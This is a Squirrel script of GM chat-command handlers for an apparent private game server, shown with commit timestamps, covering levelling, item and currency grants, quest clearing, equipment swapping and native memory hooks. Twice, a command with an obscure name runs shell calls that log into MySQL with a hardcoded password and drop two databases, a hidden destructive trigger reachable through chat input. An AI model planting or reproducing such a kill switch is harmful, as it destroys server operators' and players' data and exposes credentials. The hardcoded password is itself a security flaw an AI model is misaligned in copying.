DP-S-Script/Dps_A/CallBack/Gm_Input.nut

1571 lines
55 KiB
Plaintext
Raw Normal View History

2024-09-16 17:05:26 +08:00
Gm_InputFunc_Handle <- {}
Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
}
Gm_InputFunc_Handle.ResetScript <- function(SUser, CmdString) {
sq_ReloadScript();
print("\n重载函数\n");
};
//获取坐标
Gm_InputFunc_Handle.GetPos <- function(SUser, CmdString) {
print("\n");
print("Xpos: " + SUser.GetAreaPos().X);
print("Ypos: " + SUser.GetAreaPos().Y);
print("\n");
};
//获取位置信息
Gm_InputFunc_Handle.GetLocation <- function(SUser, CmdString) {
local Location = SUser.GetLocation();
print("\n");
print("Xpos: " + Location.Pos.X);
print("Ypos: " + Location.Pos.Y);
print("Town: " + Location.Town);
print("Area: " + Location.Area);
print("\n");
};
//踢人下线测试
Gm_InputFunc_Handle.KickMySelf <- function(SUser, CmdString) {
SUser.Kick();
};
2025-11-03 21:13:01 +08:00
2024-09-16 17:05:26 +08:00
Gm_InputFunc_Handle["升级"] <- function(SUser, CmdString) {
local count = -1;
local pos = 0;
local handler = [];
do {
local start = pos;
pos = CmdString.find(" ", pos + 1);
if (pos != null) {
handler.append(CmdString.slice(start + 1, pos));
} else
handler.append(CmdString.slice(start + 1));
count = count + 1
} while (pos != null)
//得到空格数量
if (count == 1) {
2025-11-03 21:13:01 +08:00
print(handler[1].tointeger());
2024-09-16 17:05:26 +08:00
SUser.SetCharacLevel(handler[1].tointeger());
}
}
2025-03-27 20:21:11 +08:00
Gm_InputFunc_Handle["cs"] <- function(SUser, CmdString) {
2025-11-03 21:13:01 +08:00
SUser.ReqDBSendMultiMail("标题", "内容", 0, [
[3037, 100],
[3038, 100]
]);
2025-03-27 20:21:11 +08:00
}
2024-09-16 17:05:26 +08:00
Gm_InputFunc_Handle["给"] <- function(SUser, CmdString) {
local count = -1;
local pos = 0;
local handler = [];
do {
local start = pos;
pos = CmdString.find(" ", pos + 1);
if (pos != null) {
handler.append(CmdString.slice(start + 1, pos));
} else
handler.append(CmdString.slice(start + 1));
count = count + 1
} while (pos != null)
//得到空格数量
if (count == 1) {
local Ret = SUser.GiveItem(handler[1].tointeger(), 1);
if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
} else if (count == 2) {
local Ret = SUser.GiveItem(handler[1].tointeger(), handler[2].tointeger());
if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
}
}
2025-11-03 21:13:01 +08:00
2024-09-16 17:05:26 +08:00
Gm_InputFunc_Handle["转职"] <- function(SUser, CmdString) {
local count = -1;
local pos = 0;
local handler = [];
do {
local start = pos;
pos = CmdString.find(" ", pos + 1);
if (pos != null) {
handler.append(CmdString.slice(start + 1, pos));
} else
handler.append(CmdString.slice(start + 1));
count = count + 1
} while (pos != null)
//得到空格数量
if (count == 1) {
SUser.ChangeGrowType(handler[1].tointeger(), 0);
SUser.SendNotiPacket(0, 2, 0);
SUser.InitSkillW(handler[1].tointeger(), 0);
} else if (count == 2) {
SUser.ChangeGrowType(handler[1].tointeger(), handler[2].tointeger());
SUser.SendNotiPacket(0, 2, 0);
SUser.InitSkillW(handler[1].tointeger(), handler[2].tointeger());
}
}
Gm_InputFunc_Handle["完成任务"] <- function(SUser, CmdString) {
SUser.ClearQuest_Gm(674);
SUser.ClearQuest_Gm(649);
SUser.ClearQuest_Gm(675);
SUser.ClearQuest_Gm(650);
2025-03-27 20:21:11 +08:00
SUser.ClearQuest_Gm(4571);
2024-09-16 17:05:26 +08:00
SUser.ClearQuest_Gm(4414);
2025-03-27 20:21:11 +08:00
SUser.ClearQuest_Gm(4415);
2024-09-16 17:05:26 +08:00
SUser.ClearQuest_Gm(2603);
SUser.ClearQuest_Gm(2610);
SUser.ClearQuest_Gm(2613);
SUser.ClearQuest_Gm(2622);
SUser.ClearQuest_Gm(4391);
SUser.ClearQuest_Gm(4539);
SUser.ClearQuest_Gm(220);
SUser.ClearQuest_Gm(221);
}
2025-04-21 13:36:35 +08:00
Gm_InputFunc_Handle["测试"] <- function(SUser, CmdString) {
SUser.ClearQuest_Gm(674);
SUser.ClearQuest_Gm(649);
SUser.ClearQuest_Gm(675);
SUser.ClearQuest_Gm(650);
}
2024-09-16 17:05:26 +08:00
Gm_InputFunc_Handle.M <- function(SUser, CmdString) {
local PartyObj = SUser.GetParty();
// Sq_CallFunc(S_Ptr("0x85A73A6"), "int", ["pointer", "pointer", "int"], PartyObj.C_Object, SUser.C_Object, 3037);
Sq_CallFunc(S_Ptr("0x85A63F4"), "int", ["pointer", "pointer", "int", "int", "char", "int", "int"], PartyObj.C_Object, SUser.C_Object, 3037, 10, 10, 10, 10, 10);
}
Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
}
Gm_InputFunc_Handle.W <- function(SUser, CmdString) {
local InvenObj = SUser.GetInven();
local Slot = InvenObj.GetSlotById(3037);
local Ret = Sq_Inven_RemoveItemFormCount(InvenObj.C_Object, 1, Slot, 600, 10, 1);
SUser.SendUpdateItemList(1, 0, Slot);
};
Gm_InputFunc_Handle.Q <- function(SUser, CmdString) {
2025-11-03 21:13:01 +08:00
};
2024-10-02 21:25:05 +08:00
2024-09-16 17:05:26 +08:00
2025-11-03 21:13:01 +08:00
function calculate_grade(point) {
if (point< 500) return 1;
else if (point< 1000) return 2;
else if (point< 1500) return 3;
else if (point< 2000) return 4;
else if (point< 2500) return 5;
else if (point< 3000) return 6;
else if (point< 3500) return 7;
else if (point< 4000) return 8;
else if (point< 4500) return 9;
else if (point< 5000) return 10;
else if (point< 5500) return 11;
else if (point< 6000) return 12;
else if (point< 6500) return 13;
else if (point< 7000) return 14;
else if (point< 7500) return 15;
else if (point< 8000) return 16;
else if (point< 8500) return 17;
else if (point< 9000) return 18;
else if (point< 9500) return 19;
else if (point< 10000) return 20;
else if (point< 10500) return 21;
else if (point< 11000) return 22;
else if (point< 11500) return 23;
else if (point< 12000) return 24;
else if (point< 12500) return 25;
else if (point< 13000) return 26;
else if (point< 13500) return 27;
else if (point< 14000) return 28;
else if (point< 14500) return 29;
else if (point< 15000) return 30;
else return 31;
}
2025-11-03 21:13:01 +08:00
Gm_InputFunc_Handle.FI <- function(SUser, CmdString) {
local Cid = SUser.GetCID();
Sq_CallFunc(S_Ptr("0x8686FEE"), "void", ["pointer", "bool"], SUser.C_Object, true);
local SqlObj = MysqlPool.GetInstance().GetConnect();
local sql = format("SELECT pvp_point, pvp_grade FROM pvp_result WHERE charac_no = %d", Cid);
local result = SqlObj.Select(sql, ["int", "int"]);
// 解析查询结果
local pvp_point = result[0][0];
local pvp_grade = result[0][1];
// 计算新的PVP积分和等级
local new_point = pvp_point + 500;
local new_grade = calculate_grade(new_point);
local newsql = format("UPDATE pvp_result SET win = win + 1, pvp_point = %d, pvp_grade = %d, play_count = play_count + 1,pvp_count = pvp_count + 1, win_point = win_point + 10 WHERE charac_no = %d", new_point, new_grade, Cid);
SqlObj.Exec_Sql(newsql);
MysqlPool.GetInstance().PutConnect(SqlObj);
2024-09-16 17:05:26 +08:00
};
Gm_InputFunc_Handle.UINJ <- function(SUser, CmdString) {
local Str = "{\"op\":20064026,\"uid\":3,\"rewards2\":[[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}]],\"deathsNum\":0,\"time\":67563,\"state\":2,\"rewards\":[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}],\"cid\":15}";
local Pack = Packet();
Pack.Put_Header(1, 130);
Pack.Put_Byte(1);
Pack.Put_Int(Str.len());
Pack.Put_Binary(Str);
Pack.Finalize(true);
SUser.Send(Pack);
2025-03-27 20:21:11 +08:00
Pack.Delete();
2024-09-16 17:05:26 +08:00
};
Gm_InputFunc_Handle.T <- function(SUser, CmdString) {
local Location = SUser.GetLocation();
SUser.SendNotiPacketMessage("Xpos: " + Location.Pos.X, 8);
SUser.SendNotiPacketMessage("Ypos: " + Location.Pos.Y, 8);
SUser.SendNotiPacketMessage("Town: " + Location.Town, 8);
SUser.SendNotiPacketMessage("Area: " + Location.Area, 8);
SUser.SendNotiPacketMessage("GetState: " + SUser.GetState(), 8);
SUser.SendNotiPacketMessage("GetCharacCount: " + SUser.GetCharacCount(), 8);
SUser.SendNotiPacketMessage("GetUID: " + SUser.GetUID(), 8);
SUser.SendNotiPacketMessage("GetCID: " + SUser.GetCID(), 8);
2024-10-02 21:00:21 +08:00
SUser.SendNotiPacketMessage("GetUni: " + SUser.GetUniqueId(), 8);
2024-09-16 17:05:26 +08:00
SUser.SendNotiPacketMessage("GetCharacJob: " + SUser.GetCharacJob(), 8);
SUser.SendNotiPacketMessage("GetCharacName: " + SUser.GetCharacName(), 8);
SUser.SendNotiPacketMessage("GetCharacLevel: " + SUser.GetCharacLevel(), 8);
SUser.SendNotiPacketMessage("GetCharacGrowType: " + SUser.GetCharacGrowType(), 8);
SUser.SendNotiPacketMessage("GetCharacSecondGrowType: " + SUser.GetCharacSecondGrowType(), 8);
SUser.SendNotiPacketMessage("GetFatigue: " + SUser.GetFatigue(), 8);
SUser.SendNotiPacketMessage("GetMaxFatigue: " + SUser.GetMaxFatigue(), 8);
SUser.SendNotiPacketMessage("GetParty: " + SUser.GetParty(), 8);
2025-11-03 21:13:01 +08:00
SUser.SendNotiBox("测试", 1);
2024-09-16 17:05:26 +08:00
};
function Cb_gm_input(C_User, CmdString) {
local SUser = User(C_User);
local Pos = CmdString.find(" ");
local Str;
if (Pos) {
Str = CmdString.slice(0, Pos);
} else {
Str = CmdString;
}
if (Str in Gm_InputFunc_Handle) {
Gm_InputFunc_Handle[Str](SUser, CmdString);
}
}
function TestIoP() {
local ret = suspend("no");
local Io = IO("/dp_s/a.txt", "w+");
for (local i = 0; i< 500000; i++) {
Io.Write("写入测试文本: " + i + "\n");
if ((i % 5000) == 0) ret = suspend("no");
}
Io.Close();
return "yes";
}
function TestThread(coro) {
local susparam = "noq";
if (coro.getstatus() == "idle") susparam = coro.call();
else if (coro.getstatus() == "suspended") susparam = coro.wakeup();
if (susparam == "no") {
Timer.SetTimeOut(TestThread, 0, coro);
} else {
print("文件书写完成");
}
}
2024-10-02 21:00:21 +08:00
function TestCronTask(str) {
print(str);
print("定时任务已执行一次");
}
2024-10-27 15:32:44 +08:00
// class Map{
// }
// Timer.SetTimeOut(function() {
// local dgn_requirements = {
// [1] = [0, 10, 1, 20, 2, 30, 3, 40, 4, 40],
// [2] = [0, 20],
// };
// print(dgn_requirements[1]);
// printT(dgn_requirements);
// }, 0);
// Timer.SetTimeOut(function() {
// local SUser = World.GetUserByUid(1);
// local InvenObj = SUser.GetInven();
// local EquObj = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, 56);
// local AdMsgObj = AdMsg();
// AdMsgObj.PutType(8);
// AdMsgObj.PutString("测试文字");
// AdMsgObj.PutColorString("测试文字", [255, 85, 0]);
// AdMsgObj.PutImoticon(2);
// AdMsgObj.PutEquipment("主动提供名字", EquObj, [255, 85, 0]);
// AdMsgObj.PutEquipment(EquObj);
// AdMsgObj.Finalize();
// // SUser.Send(AdMsgObj.MakePack());
// World.SendAll(AdMsgObj.MakePack());
// AdMsgObj.Delete();
// }, 0);
2024-10-02 21:00:21 +08:00
2024-11-15 19:53:44 +08:00
2024-10-27 15:32:44 +08:00
2025-04-21 13:36:35 +08:00
2025-03-27 20:21:11 +08:00
Gm_InputFunc_Handle.WEQ <- function(SUser, CmdString) {
// // World.MoveArea(SUser, 1, 0, 55, 349);
2024-10-27 15:32:44 +08:00
2025-03-27 20:21:11 +08:00
// // print(789456);
// local Str = "{\"op\":20074002,\"uid\":1,\"btnX\":430,\"btnY\":500,\"info\":[{\"Toubu\":0,\"Maozi\":0,\"Lianbu\":0,\"Guanghuan\":0,\"Xiongbu\":0,\"Shangyi\":0,\"Pifu\":0,\"Yaobu\":0,\"Xiazhuang\":0,\"Xie\":0,\"MonsterId\":1},{\"Toubu\":0,\"Maozi\":0,\"Lianbu\":0,\"Guanghuan\":0,\"Xiongbu\":0,\"Shangyi\":0,\"Pifu\":0,\"Yaobu\":0,\"Xiazhuang\":0,\"Xie\":0,\"MonsterId\":0}],\"cid\":1}";
// // local Str = "{\"op\":20078034,\"info\":[{\"job\":3,\"growjob\":0,\"avatar\":[106550521,106560580,106570446,106520529,106500603,106510607,106540583,106580143,106530461],\"name\":\"小号吉祥物\",\"uid\":2,\"cid\":27},{\"job\":3,\"growjob\":1,\"avatar\":[106550521,106560580,106570446,106520529,106500603,106510607,106540583,106580143,106530461],\"name\":\"吉祥物\",\"uid\":3,\"cid\":26},{\"job\":3,\"growjob\":0,\"avatar\":[51265,51400,0,0,52600,53000,0,53800,54200,0,0],\"name\":\"小号吉祥物\",\"uid\":2,\"cid\":27}]}";
// // local Str = "{\"op\":20064026,\"uid\":2,\"rewards2\":[[{\"item\":3040,\"num\":2,\"item2\":0,\"num2\":0,\"grade\":1,\"count\":1,\"cid\":27}]],\"deathsNum\":0,\"time\":179999,\"state\":1,\"rewards\":[{\"item\":3036,\"num\":1,\"item2\":0,\"num2\":0,\"grade\":0,\"count\":1,\"cid\":27}],\"cid\":27}";
// local Pack = Packet();
// Pack.Put_Header(1, 130);
// Pack.Put_Byte(1);
// Pack.Put_Int(Str.len());
// Pack.Put_Binary(Str);
// Pack.Finalize(true);
// SUser.Send(Pack);
// Pack.Delete();
2024-10-11 23:56:27 +08:00
2025-03-27 20:21:11 +08:00
// print("下发模拟包");
// local A = NativePointer(SUser.C_Object).add(16);
// local B = A.readPointer();
// local C = NativePointer(B).add(101);
// local D = NativePointer(C).add(8).readInt();
2024-10-11 23:56:27 +08:00
2025-11-03 21:13:01 +08:00
//附魔不报错
Haker.LoadHook("0x081D233A", ["pointer", "pointer", "pointer", "int"],
function(args) {
return null;
},
function(args) {
return 0;
});
Haker.LoadHook("0x081D24B8", ["pointer", "pointer", "pointer", "pointer", "int"],
function(args) {
return null;
},
function(args) {
return null;
});
2024-10-11 23:56:27 +08:00
2025-03-27 20:21:11 +08:00
};
2024-10-11 23:56:27 +08:00
2025-04-21 13:36:35 +08:00
2025-03-27 20:21:11 +08:00
Gm_InputFunc_Handle.QS <- function(SUser, CmdString) {
SUser.RechargeCeraPoint(10000);
};
Gm_InputFunc_Handle.QS2 <- function(SUser, CmdString) {
SUser.RechargeCeraPoint(-100);
};
Gm_InputFunc_Handle.Test <- function(SUser, CmdString) {
SUser.SetCharacLevel(60);
};
2024-10-06 16:22:53 +08:00
2025-03-27 20:21:11 +08:00
function HexStringToInt(Str) {
if (!(getroottable().rawin("__strtol__function__address__"))) __strtol__function__address__ <- Module.getExportByName(null, "strtol");
local Ret = Sq_CallFunc(__strtol__function__address__, "int", ["pointer", "pointer", "int"], Memory.allocUtf8String(Str).C_Object, Memory.alloc(0), 16);
return Ret;
}
2024-10-06 16:22:53 +08:00
2025-03-27 20:21:11 +08:00
function UserdataSliceStr(Data) {
local Str = "" + Data;
local Pos = Str.find("0x");
local Pos2 = Str.find(")");
local Ret = Str.slice(Pos + 2, Pos2);
return Ret;
}
2024-10-11 23:56:27 +08:00
2024-10-06 16:22:53 +08:00
2024-10-11 23:56:27 +08:00
2025-04-21 13:36:35 +08:00
//品级对应的RGB
rarityColorMap <- {
"0": [255, 255, 255], // 普通
"1": [104, 213, 237], // 高级
"2": [179, 107, 255], // 稀有
"3": [255, 0, 255], // 神器
"4": [255, 180, 0], // 史诗
"5": [255, 102, 102], // 勇者
"6": [255, 20, 147], // 深粉红色
"7": [255, 215, 0] // 金色
};
2024-10-06 16:22:53 +08:00
2025-04-21 13:36:35 +08:00
//通过道具ID获取RGB
function RarityColor(item_id) {
local PvfItemObj = PvfItem.GetPvfItemById(item_id);
if (PvfItemObj == null) {
return;
2025-03-27 20:21:11 +08:00
}
2025-04-21 13:36:35 +08:00
local CItem_get_rarity = PvfItemObj.GetRarity(); // 装备品级
return rarityColorMap[(CItem_get_rarity).tostring()];
}
user_equ_plan <- {};
function GetEquip(SUser) {
//获取玩家背包
local InvenObj = SUser.GetInven();
if (!InvenObj) {
return;
2025-03-27 20:21:11 +08:00
}
2025-04-21 13:36:35 +08:00
local equArr = {};
// 读穿戴装备(10-21) + 时装(0-9)
for (local i = 0; i< 26; i++) {
// // 跳过非上衣时装若需要换全部时装注释掉这段if
// if (i != 3 && (i < 10 || i > 21)) {
// equArr[i] <- {
// "id": 0,
// "lv": 0
// };
// continue;
// }
local ItemObj = InvenObj.GetSlot(0, i);
local equId = ItemObj.GetIndex();
local item_upgrade = ItemObj.GetUpgrade();
local item_name = PvfItem.GetNameById(equId);
if (item_upgrade > 0) {
item_name = "+" + item_upgrade + " " + item_name;
2025-03-27 20:21:11 +08:00
}
2025-04-21 13:36:35 +08:00
//id:装备id lv:时装数据库uid/装备品级
equArr[i] <- {
"id": equId > 0 ? equId : 0,
"lv": equId > 0 ? NativePointer(ItemObj.C_Object).add(7).readU32() : 0
};
if (equId > 0) {
local AdMsgObj = AdMsg();
AdMsgObj.PutType(2);
AdMsgObj.PutString(" ");
AdMsgObj.PutEquipment("[" + item_name + "]", ItemObj, RarityColor(equId));
AdMsgObj.PutString("已登记");
AdMsgObj.Finalize();
SUser.Send(AdMsgObj.MakePack());
AdMsgObj.Delete();
}
}
return equArr;
}
function SaveEquipPlan(SUser, id) {
local charac_no = SUser.GetCID().tostring();
if (!(charac_no in user_equ_plan)) {
user_equ_plan[charac_no] <- {};
}
local info = GetEquip(SUser);
user_equ_plan[charac_no]["equPlan" + id] <- info;
local AdMsgObj = AdMsg();
AdMsgObj.PutType(2);
AdMsgObj.PutString(" ");
AdMsgObj.PutString("方案[" + id + "]已启用");
AdMsgObj.Finalize();
World.SendAll(AdMsgObj.MakePack());
AdMsgObj.Delete();
}
function PutOnEquip(SUser, equPlan, id) {
local charac_no = SUser.GetCID().tostring();
local InvenObj = SUser.GetInven();
if (!InvenObj) {
return;
2025-03-27 20:21:11 +08:00
}
2025-04-21 13:36:35 +08:00
// 遍历遍历穿戴栏0-21 时装栏 0-104 和 装备栏 3-56
for (local i = 0; i< 22; i++) {
if (equPlan[i].id) {
local type = i< 10 ? 2 : 1; // type 1装备 2时装
local startIndex = type == 2 ? 0 : 3; // 背包时装栏从0开始背包装备栏从3开始
local endIndex = type == 2 ? 105 : 57; //背包时装栏到104背包装备栏到56
for (local j = startIndex; j< endIndex; j++) {
local equOut = InvenObj.GetSlot(type, j);
local equId = equOut.GetIndex();
if (equPlan[i].id == equId && equPlan[i].lv == NativePointer(equOut.C_Object).add(7).readU32()) {
Sq_CallFunc(S_Ptr("0x0865EED2"), "int", ["pointer", "int", "int", "int"], SUser.C_Object, type == 2 ? 1 : 0, j, i);
break;
}
}
2025-03-27 20:21:11 +08:00
}
2025-04-21 13:36:35 +08:00
}
2024-10-02 21:00:21 +08:00
2025-04-21 13:36:35 +08:00
SUser.SendItemSpace(1);
SUser.SendItemSpace(0);
SUser.SendItemSpace(7);
SUser.SendNotiPacket(0, 2, 0);
SUser.SendNotiPacket(1, 2, 1);
SUser.SendNotiPacket(7, 2, 7);
local Bq = Sq_CallFunc(S_Ptr("0x80DD584"), "pointer", ["pointer", "int"], SUser.C_Object, 2);
Sq_CallFunc(S_Ptr("0x85427A0"), "void", ["pointer", "pointer"], Bq, SUser.C_Object);
// RefreshTheLockOfEquipment(SUser, InvenObj);
// Sq_CallFunc(S_Ptr("0x84FAE0A"), "void", ["pointer", "int", "int", "int"], InvenObj.C_Object, NativePointer(InvenObj.C_Object).readInt(), 21, 0);
// 刷新装备栏锁头(不含穿戴栏暂无法刷新)
// Sq_CallFunc(S_Ptr("0x84FAF8E"), "void", ["pointer"], InvenObj.C_Object);
//// 刷新时装栏锁头(不含穿戴栏暂无法刷新)
//Sq_CallFunc(S_Ptr("0x084FAFBE"), "void", ["pointer"], InvenObj.C_Object);
// 刷新技能
Sq_CallFunc(S_Ptr("0x866C46A"), "void", ["pointer"], SUser.C_Object);
//// 刷新角色状态
//Sq_CallFunc(S_Ptr("0x867BA5C"), "int", ["pointer", "int", "int", "int"], SUser.C_Object, 0, 2, 0);
//Sq_CallFunc(S_Ptr("0x867BA5C"), "int", ["pointer", "int", "int", "int"], SUser.C_Object, 1, 2, 1);
user_equ_plan[charac_no].startTime <- time(); // 记录结束时间
SUser.SendNotiPacketMessage("装备方案[" + id + "]切换结束!!", 2);
}
2024-10-02 21:00:21 +08:00
2025-04-21 13:36:35 +08:00
function RefreshTheLockOfEquipment(SUser, InvenObj) {
local Pack = Packet();
//Clear
Sq_CallFunc(S_Ptr("0x80CB8E6"), "int", ["pointer"], Pack.C_Object);
Pack.Put_Header(0, 251);
//GetIndex
local Index = Sq_CallFunc(S_Ptr("0x8110B4C"), "int", ["pointer"], Pack.C_Object);
Pack.Put_Short(0);
local V7 = 0;
for (local i = 0; i< 21; i++) {
local Flag = NativePointer(InvenObj.C_Object).add((61 * i) + 48).readU8();
if (Flag) {
Pack.Put_Byte(0);
Pack.Put_Short(i);
Pack.Put_Byte(1);
Pack.Put_Int(500000);
// local Bq = Sq_CallFunc(S_Ptr("0x828B5DE"), "pointer", ["pointer", "int"], SUser.C_Object, 2);
// Sq_CallFunc(S_Ptr("0x828B5DE"), "char", ["pointer", "pointer"], Bq, Pack.C_Object);
V7++;
2025-03-27 20:21:11 +08:00
}
2025-04-21 13:36:35 +08:00
}
local Buf = Memory.alloc(4);
Buf.writeInt(Index);
Sq_CallFunc(S_Ptr("0x8110B28"), "int", ["pointer", "pointer", "int"], Pack.C_Object, Buf.C_Object, V7);
Pack.Finalize(1);
SUser.Send(Pack);
Pack.Delete();
print("发包了");
}
2025-04-21 13:36:35 +08:00
function api_PutOnEquip(SUser, id) {
local charac_no = SUser.GetCID().tostring();
if (!(charac_no in user_equ_plan)) {
SUser.SendNotiPacketMessage("方案不存在!!", 2);
return;
}
local equPlanKey = "equPlan" + id;
if (!user_equ_plan[charac_no].rawin(equPlanKey)) {
SUser.SendNotiPacketMessage("方案[" + id + "]不存在!!!", 2);
return;
}
local equPlan = user_equ_plan[charac_no][equPlanKey];
//换装指令冷却时间5scd
if (user_equ_plan[charac_no].rawin("startTime")) {
local currentTime = time();
local timeDiff = user_equ_plan[charac_no].startTime - currentTime + 5;
if (timeDiff > 0) {
SUser.SendNotiPacketMessage("换装功能冷却中,还有<" + timeDiff + ">秒才能使用!", 2);
return;
2025-03-27 20:21:11 +08:00
}
}
2024-10-02 21:00:21 +08:00
2025-04-21 13:36:35 +08:00
PutOnEquip(SUser, equPlan, id);
2025-03-27 20:21:11 +08:00
}
2024-10-02 21:00:21 +08:00
2025-04-21 13:36:35 +08:00
function MoveItem_send(SUser, type, slot, Bodyslot) {
local Pack = Packet();
Pack.Put_Header(1, 19);
Pack.Put_Byte(1); //默认1
Pack.Put_Byte(type); //协议, 0时装 1装备
Pack.Put_Short(slot); // 背包槽位slot
Pack.Put_Int(1); // 默认1未知
Pack.Put_Byte(3); // 默认3穿戴栏
Pack.Put_Short(Bodyslot); //穿戴栏slot(0-25)
Pack.Finalize(true);
SUser.Send(Pack);
local v6 = Sq_CallFunc(S_Ptr("0x081935A2"), "pointer", []);
Sq_CallFunc(S_Ptr("0x867BA5C"), "int", ["pointer", "pointer", "int", "int", "int", "int"], v6, SUser.C_Object, type, slot, 3, Bodyslot);
Pack.Delete();
}
function Save_equFnc(SUser, CmdString) {
local arr = split(CmdString, " ");
local id = arr[1].tointeger();
SaveEquipPlan(SUser, id);
}
// 注册命令1
Gm_InputFunc_Handle.rawset("pl", Save_equFnc);
function change_equFnc(SUser, CmdString) {
local arr = split(CmdString, " ");
local id = arr[1].tointeger();
api_PutOnEquip(SUser, id);
}
// 注册命令
Gm_InputFunc_Handle.rawset("on", change_equFnc);
2025-03-27 20:21:11 +08:00
//分割道具列表
function splitItemList(item_list, maxSlots) {
local length = item_list.len();
if (length <= maxSlots) {
return [item_list];
}
2024-10-02 21:00:21 +08:00
2025-03-27 20:21:11 +08:00
local result = [];
for (local i = 0; i< length; i += maxSlots) {
local end = i + maxSlots;
if (end > length) {
end = length;
}
result.append(item_list.slice(i, end));
}
return result;
}
2024-10-02 21:00:21 +08:00
2025-03-27 20:21:11 +08:00
function WongWork_CQuestClear_isClearedQuest(QuestInfo, QuestID) {
return Sq_CallFunc(S_Ptr("0x808BAE0"), "bool", ["pointer", "int"], QuestInfo, QuestID);
}
2025-03-27 20:21:11 +08:00
// 判断任务是否为主线并且角色等级符合要求
function isMainQuestAndLevelValid(pvfQuest, characLevel) {
local questGrade = NativePointer(pvfQuest).add(8).readInt();
local questLv = NativePointer(pvfQuest).add(0x20).readInt();
return questGrade == 0 && questLv <= characLevel;
}
2025-03-27 20:21:11 +08:00
// 设置任务为已完成
function clearQuest(QuestInfo, QuestID) {
Sq_CallFunc(S_Ptr("0x808BA78"), "int", ["pointer", "int"], QuestInfo, QuestID);
}
2025-03-27 20:21:11 +08:00
function User::SendCharacQp() {
Sq_CallFunc(S_Ptr("0x868AC24"), "int", ["pointer"], this.C_Object);
}
2025-03-27 20:21:11 +08:00
function User::SendCharacQuestPiece() {
Sq_CallFunc(S_Ptr("0x868AF2C"), "int", ["pointer"], this.C_Object);
}
2025-03-27 20:21:11 +08:00
function User::MainTaskCompleted() {
// 获取角色任务信息和等级
local userQuest = GetQuest();
local questIsClear = NativePointer(userQuest).add(4);
local characLevel = GetCharacLevel();
local allClearQuest = 0;
// 获取 pvf 数据
local DataManager = Sq_CallFunc(S_Ptr("0x80CC19B"), "pointer", []);
//完成当前等级所有任务总经验奖励
local total_exp_bonus = 0;
//完成当前等级所有任务总金币奖励
local total_gold_bonus = 0;
//任务点奖励
local total_quest_point_bonus = 0;
local total_quest_piece_bonus = 0;
//任务最大编号: 29999
for (local quest_id = 1; quest_id< 30000; quest_id++) {
//跳过已完成的任务
if (WongWork_CQuestClear_isClearedQuest(questIsClear.C_Object, quest_id)) continue;
local achievement = [3606, 4303, 3, 1028, 4, 5, 6, 59, 4423, 2, 60, 61, 6670, 446, 9, 10, 11, 12, 13, 14, 15, 21, 1332, 400, 402, 401, 403, 399, 24, 4572, 25, 26, 58, 93, 5851, 5850, 5852, 5853, 4392, 4393, 4394, 4395, 4396, 4397];
local found = false;
for (local i = 0; i< achievement.len(); i++) {
if (achievement[i] == quest_id) {
found = true;
break;
}
}
2025-03-27 20:21:11 +08:00
//获取任务数据
local quest = Sq_CallFunc(S_Ptr("0x835FDC6"), "pointer", ["pointer", "int"], DataManager, quest_id);
if (!quest || found == true) continue; // 跳过空任务或不需要完成的任务
2025-03-27 20:21:11 +08:00
// 判断是否为主线任务且等级符合要求
if (!isMainQuestAndLevelValid(quest, characLevel)) continue;
2025-03-27 20:21:11 +08:00
//获取该任务的基础奖励
local exp_bonus = Memory.alloc(4);
local gold_bonus = Memory.alloc(4);
local quest_point_bonus = Memory.alloc(4);
local quest_piece_bonus = Memory.alloc(4);
//QP奖励已直接发送到角色 经验/金币只返回结果 需要手动发送
CUser_quest_basic_reward(this.C_Object, quest, exp_bonus.C_Object, gold_bonus.C_Object, quest_point_bonus.C_Object, quest_piece_bonus.C_Object, 1);
2025-03-27 20:21:11 +08:00
local exp = exp_bonus.readInt();
local gold = gold_bonus.readInt();
local quest_point = quest_point_bonus.readInt();
local quest_piece = quest_piece_bonus.readInt();
2024-10-02 21:00:21 +08:00
2025-03-27 20:21:11 +08:00
if (quest_point > 0) total_quest_point_bonus += quest_point; //没有[quest point]字段的任务
if (quest_piece > 0) total_quest_piece_bonus += quest_piece;
2025-03-27 20:21:11 +08:00
clearQuest(questIsClear.C_Object, quest_id);
allClearQuest++;
}
2024-10-27 15:32:44 +08:00
local Pack = Packet();
2025-03-27 20:21:11 +08:00
//通知客户端刷新任务列表
Sq_CallFunc(S_Ptr("0x86ABBA8"), "int", ["pointer", "pointer"], userQuest, Pack.C_Object);
Send(Pack);
2024-10-27 15:32:44 +08:00
Pack.Delete();
2025-03-27 20:21:11 +08:00
SendNotiPacket(0, 2, 0);
SendNotiPacket(1, 2, 1);
SendUpdateItemList(1, 0, 0);
SendCharacQp();
SendCharacQuestPiece();
2024-10-27 15:32:44 +08:00
2025-03-27 20:21:11 +08:00
// 发送通知
SendNotiPacketMessage("已清理:" + allClearQuest + "个主线任务!", 8);
2024-11-15 19:53:44 +08:00
}
2024-10-02 21:00:21 +08:00
2025-03-27 20:21:11 +08:00
2024-10-02 21:00:21 +08:00
2025-03-27 20:21:11 +08:00
Gm_InputFunc_Handle.TTT <- function(SUser, CmdString) {
// SUser.ReqDBSendMultiMail("测试邮件", "测试邮件正文", 1000, [
// [3037, 1000],
// [3038, 200]
// ]);
2025-04-21 13:36:35 +08:00
local InvenObj = SUser.GetInven();
for (local i = 0; i< 21; i++) {
local Flag = NativePointer(InvenObj.C_Object).add((61 * i) + 48).readU8();
print("i: " + i + " Flag: " + Flag);
}
2025-03-27 20:21:11 +08:00
// SUser.MainTaskCompleted();
2024-11-15 19:53:44 +08:00
};
2025-04-21 13:36:35 +08:00
// getroottable()._LenheartUserLoseEfficacyState_ <- Memory.alloc(577477);
// Memory.reset(getroottable()._LenheartUserLoseEfficacyState_,577477);
// Cb_SendMess_Enter_Func["Rindro"] <- function(args) {
